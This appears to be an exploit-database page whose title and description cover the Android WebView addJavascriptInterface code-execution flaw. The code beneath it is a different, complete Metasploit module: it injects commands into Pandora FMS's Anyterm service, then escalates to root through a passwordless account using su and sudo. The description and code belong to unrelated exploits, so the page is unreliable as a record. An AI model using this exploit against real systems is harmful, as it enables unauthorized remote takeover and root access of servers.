Android Browser and WebView addJavascriptInterface Code Execution

2014-02-08T00:00:00
ID 1337DAY-ID-21868
Type zdt
Reporter metasploit
Modified 2014-02-08T00:00:00

Description

This Metasploit module exploits a privilege escalation issue in Android versions prior 4.2's WebView component that arises when untrusted Javascript code is executed by a WebView that has one or more Interfaces added to it. The untrusted Javascript code can call into the Java Reflection APIs exposed by the Interface and execute arbitrary commands. Some distributions of the Android Browser app have an addJavascriptInterface call tacked on, and thus are vulnerable to RCE. The Browser app in the Google APIs 4.1.2 release of Android is known to be vulnerable. A secondary attack vector involves the WebViews embedded inside a large number of Android applications. Ad integrations are perhaps the worst offender here. If you can MITM the WebView's HTTP connection, or if you can get a persistent XSS into the page displayed in the WebView, then you can inject the html/js served by this module and get a shell. Note: Adding a .js to the URL will return plain javascript (no HTML markup).

                                        
                                            require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking
 
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE
 
  def initialize(info={})
    super(update_info(info,
      'Name'           => "Pandora FMS Remote Code Execution",
      'Description'    => %q{
        This module exploits a vulnerability found in Pandora FMS 5.0RC1 and lower.
        It will leverage an unauthenticated command injection in the Anyterm service on
        port 8023. Commands are executed as the user "pandora". In Pandora FMS 4.1 and 5.0RC1
        the user "artica" is not assigned a password by default, which makes it possible to su
        to this user from the "pandora" user. The "artica" user has access to sudo without a
        password, which makes it possible to escalate privileges to root. However, Pandora FMS 4.0
        and lower force a password for the "artica" user during installation.
      },
      'License'         => MSF_LICENSE,
      'Author'          =>
        [
          'xistence <xistence[at]0x90.nl>' # Vulnerability discovery and Metasploit module
        ],
      'References'      =>
        [
        ],
      'Payload'        =>
        {
          'BadChars' => "",
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic perl python',
            }
        },
      'Platform'        => ['unix'],
      'Arch'            => ARCH_CMD,
      'Targets'         =>
        [
          ['Pandora 5.0RC1', {}]
        ],
      'Privileged'      => true,
      'DisclosureDate'  => "Jan 29 2014",
      'DefaultTarget'   => 0))
 
    register_options(
      [
       Opt::RPORT(8023),
       OptString.new('TARGETURI', [true, 'The base path to the Pandora instance', '/']),
      ], self.class)
  end
 
  def on_new_session(client)
    print_status("#{peer} - Trying to escalate privileges to root")
    [
      # ignore SIGHUP so the server doesn't kill our root shell
      "trap '' HUP",
      # Spawn a pty for su/sudo
      "python -c 'import pty;pty.spawn(\"/bin/sh\")'",
      # Su to the passwordless "artica" account
      "su - artica",
      # The "artica" use has sudo rights without the need for a
      # password, thus gain root priveleges
      "sudo -s",
    ].each do |command|
      vprint_status(command)
      client.shell_write(command + "\n")
    end
 
    super
  end
 
  def check
    # Check version
    print_status("#{peer} - Trying to detect Pandora FMS Remote Gateway")
 
    res = send_request_cgi({
     'method' => 'GET',
     'uri'    => normalize_uri(target_uri.path, "anyterm.html")
    })
 
    if res && res.code == 200 && res.body.include?("Pandora FMS Remote Gateway")
      print_good("#{peer} - Pandora FMS Remote Gateway Detected!")
      return Exploit::CheckCode::Detected
    end
 
    return Exploit::CheckCode::Safe
  end
 
  def exploit
    print_status("#{peer} - Sending payload")
    res = send_request_cgi({
      'method' => 'POST',
      'uri'    => normalize_uri(target_uri.path, "/anyterm-module"),
      'vars_post'   => {
        'a'     => "open",
        'p' => "`#{payload.encoded}`"
      }
    })
 
    if !res || res.code != 200
      fail_with(Failure::Unknown, "#{peer} - Unexpected response, exploit probably failed!")
    end
  end
 
end

#  0day.today [2018-01-04]  #